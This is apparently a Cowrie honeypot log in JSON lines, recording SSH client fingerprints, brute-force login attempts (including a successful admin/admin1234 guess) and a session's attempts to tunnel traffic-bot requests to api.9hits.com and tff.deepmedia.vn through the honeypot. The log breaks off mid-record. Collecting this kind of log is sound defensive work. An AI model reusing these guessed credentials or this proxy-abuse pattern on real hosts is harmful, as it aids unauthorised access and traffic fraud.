{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:45.039803Z","src_ip":"103.172.78.219","session":"e185a0e2f426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14071994","message":"login attempt [root/14071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:45.814738Z","src_ip":"103.172.78.219","session":"e185a0e2f426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:47.074554Z","src_ip":"103.172.78.219","session":"e185a0e2f426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:48.845610Z","src_ip":"23.175.50.52","session":"146e2fdc94b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":62399,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f8e6f71d91","protocol":"ssh","message":"New connection: 173.208.188.210:62399 (10.17.0.5:22) [session: a6f8e6f71d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:54.950444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:54.954761Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:55.120269Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:49:57.015903Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49442,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e32dcc7bc9","protocol":"telnet","message":"New connection: 172.81.62.90:49442 (159.203.135.109:23) [session: 64e32dcc7bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:07.238846Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:08.632553Z","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:08.636227Z","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:08.677280Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZGRrN0VYYXg0YWl5cTNZWQ%3D%3Dc7mMQq1zuIUuOcjA95R3LB%2BKF7ncQI%2FML%2Bq7S5mS9ddOCuL2i2MSYk%2FaCmAc%2F8JVlOkysvlqar5K1HUtkhSiqoOZzhNl%2BDtS2vfU1FHp9fYxXAOZXCxKwL21t9wAKcal6jtImO1hkWO3Vg4YZV34VGbaXm2L0FBRKzheJGpjcbmOOpUHv2iDjwbCHKVAQ2X6a2%2B5LrliAVI0hCz3hcDzgSRfpgHx5%2FB4TCohInu5D%2BHuhN9n2a89Qh9a4opyQngWPSdYJ4fB9zU0araK%2B%2FD%2BeSOvp7U0qxArRk22wZaeowyPoDWXaO6%2FIijP7ntgl6cVMOw0Yc%2B4Txumc7cqYSv%2BJC3pKN3XceBIfS8a%2FA2BsqF8bCegJA7PWlCCUVL73z2sQD06jEWQu9CYmjHOPbeu6mZ9Tp0YwsdFO3wEvF21wK5TW7%2B1uTqzJvqYVuPmwubqHf8fqIKheMuvS2ShNYCar2FJHg7Ee9ShNQxBZIV9lTooJAHCU9Z0aJ3Xjk%2FsN3di1GcbgUO4yfNGSVpYfCUg7g6IWXrKzzDdRYT%2BAlLqbZ4YoUcA7MBiTTebcKJ3mqvquVYDNqmAx35e8AofF8xekKZcDl7ac7NDEYi8uq7nlfr2nS7BFov6JohsNIuXSuzpcuIRHb48mYpeerzV8a2p02IdyIHh9BzZhAvUrz1ykc5XztqYnIc28cadQZsieHwxxS4syC%2Fr95EknkQOOAC9YmJnUbLAeyl3NjJ1WnfaISpA4eMW2%2FMO5aLsRCB%2B%2FKBnWfbww8SLG7bQ%2Fgpe0IuLizJh9sCMXlCpMJmORBmzPqB%2B%2FKkIGVNyABm9h2NhJq4A%2BsrrFg69AftkyFVbokn%2Bu7MUEZlP5BOHYeEmSkukKcGPnlCq8v9gWrlACRNedOEe1Gr9Rgm%2FrR1u80hHqWQwX%2BLLtRHFEJpwP5%2FzJ8GCPajxuexb5eL6fZgeJWtLBd0p0m3JdH6Rts1cuaa7A7FQ%2FVzOVzVc6tOTBUKKKUiXNPHuBYeonhMzsHHOd5%2F0%2Be2iqloIXMiKbmyxwvyJ96V9X9f99kZSMssHMnSDXwCey6w%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZGRrN0VYYXg0YWl5cTNZWQ%3D%3Dc7mMQq1zuIUuOcjA95R3LB%2BKF7ncQI%2FML%2Bq7S5mS9ddOCuL2i2MSYk%2FaCmAc%2F8JVlOkysvlqar5K1HUtkhSiqoOZzhNl%2BDtS2vfU1FHp9fYxXAOZXCxKwL21t9wAKcal6jtImO1hkWO3Vg4YZV34VGbaXm2L0FBRKzheJGpjcbmOOpUHv2iDjwbCHKVAQ2X6a2%2B5LrliAVI0hCz3hcDzgSRfpgHx5%2FB4TCohInu5D%2BHuhN9n2a89Qh9a4opyQngWPSdYJ4fB9zU0araK%2B%2FD%2BeSOvp7U0qxArRk22wZaeowyPoDWXaO6%2FIijP7ntgl6cVMOw0Yc%2B4Txumc7cqYSv%2BJC3pKN3XceBIfS8a%2FA2BsqF8bCegJA7PWlCCUVL73z2sQD06jEWQu9CYmjHOPbeu6mZ9Tp0YwsdFO3wEvF21wK5TW7%2B1uTqzJvqYVuPmwubqHf8fqIKheMuvS2ShNYCar2FJHg7Ee9ShNQxBZIV9lTooJAHCU9Z0aJ3Xjk%2FsN3di1GcbgUO4yfNGSVpYfCUg7g6IWXrKzzDdRYT%2BAlLqbZ4YoUcA7MBiTTebcKJ3mqvquVYDNqmAx35e8AofF8xekKZcDl7ac7NDEYi8uq7nlfr2nS7BFov6JohsNIuXSuzpcuIRHb48mYpeerzV8a2p02IdyIHh9BzZhAvUrz1ykc5XztqYnIc28cadQZsieHwxxS4syC%2Fr95EknkQOOAC9YmJnUbLAeyl3NjJ1WnfaISpA4eMW2%2FMO5aLsRCB%2B%2FKBnWfbww8SLG7bQ%2Fgpe0IuLizJh9sCMXlCpMJmORBmzPqB%2B%2FKkIGVNyABm9h2NhJq4A%2BsrrFg69AftkyFVbokn%2Bu7MUEZlP5BOHYeEmSkukKcGPnlCq8v9gWrlACRNedOEe1Gr9Rgm%2FrR1u80hHqWQwX%2BLLtRHFEJpwP5%2FzJ8GCPajxuexb5eL6fZgeJWtLBd0p0m3JdH6Rts1cuaa7A7FQ%2FVzOVzVc6tOTBUKKKUiXNPHuBYeonhMzsHHOd5%2F0%2Be2iqloIXMiKbmyxwvyJ96V9X9f99kZSMssHMnSDXwCey6w%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:08.680677Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:09.481987Z","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:09.518600Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xd8+\\xabDEN\\xc0\\x1f4\\xc2\\xed\\xc9\\x12\\xbfD\\x8d`4\\x88\\xd1\\xa7E\\x93\\x03X\\xd2\\xbc\\x1c\\x12\\x90\\x15 \\xc8\\x1e\\xba\\xdd3;S\\xf2\\x86\\xfa\\x11h7gI\\xf5\\x04\\xac\\xf1\\xd8=\\xf42G\\xb0\\xd4\\x8e\\xfbS\\xd3\\x19V\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 A\\x8d\\x97\\x83\\x81~L\\xf9*\\xd8\\xffy\\xd2\\xd3\\x80\\xe8\\xb8\\xbch\\x14\\x9d#\\xd4\\xaco\\xe8\\xcb\\xb4C!\\x0be\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xd8+\\xabDEN\\xc0\\x1f4\\xc2\\xed\\xc9\\x12\\xbfD\\x8d`4\\x88\\xd1\\xa7E\\x93\\x03X\\xd2\\xbc\\x1c\\x12\\x90\\x15 \\xc8\\x1e\\xba\\xdd3;S\\xf2\\x86\\xfa\\x11h7gI\\xf5\\x04\\xac\\xf1\\xd8=\\xf42G\\xb0\\xd4\\x8e\\xfbS\\xd3\\x19V\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 A\\x8d\\x97\\x83\\x81~L\\xf9*\\xd8\\xffy\\xd2\\xd3\\x80\\xe8\\xb8\\xbch\\x14\\x9d#\\xd4\\xaco\\xe8\\xcb\\xb4C!\\x0be\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:09.521866Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:09.848067Z","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:10.035802Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\x9c\\xb0\\x01Q<\\xaaE\\xc5O\\xd2\\xc2H\\xc7\\xbe2\\xdc\\xa5\\xd08\\x18\\'\\x11\\xb2v\\xb2\\x0b\\x84O\\xdd\\xb8M \\x05h\\x8bt\\xc5\\tZmgB\\xbb[Z\\x05$%\\x86H\\xb5ic\\x86\\xd0\\xbfs\\xa3F\\xb4\\x0b\\xd5\\x07z\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0f\\xae\\x91\\xf0<\\xc9y\\xe7l1N\\xa2~\\xaa8:\\xc9\\xae\\xb1\\x16fNs\\x061q\"\\xb9\\xc2\\x83\\xcf@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03O\\x9c\\xb0\\x01Q<\\xaaE\\xc5O\\xd2\\xc2H\\xc7\\xbe2\\xdc\\xa5\\xd08\\x18\\'\\x11\\xb2v\\xb2\\x0b\\x84O\\xdd\\xb8M \\x05h\\x8bt\\xc5\\tZmgB\\xbb[Z\\x05$%\\x86H\\xb5ic\\x86\\xd0\\xbfs\\xa3F\\xb4\\x0b\\xd5\\x07z\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 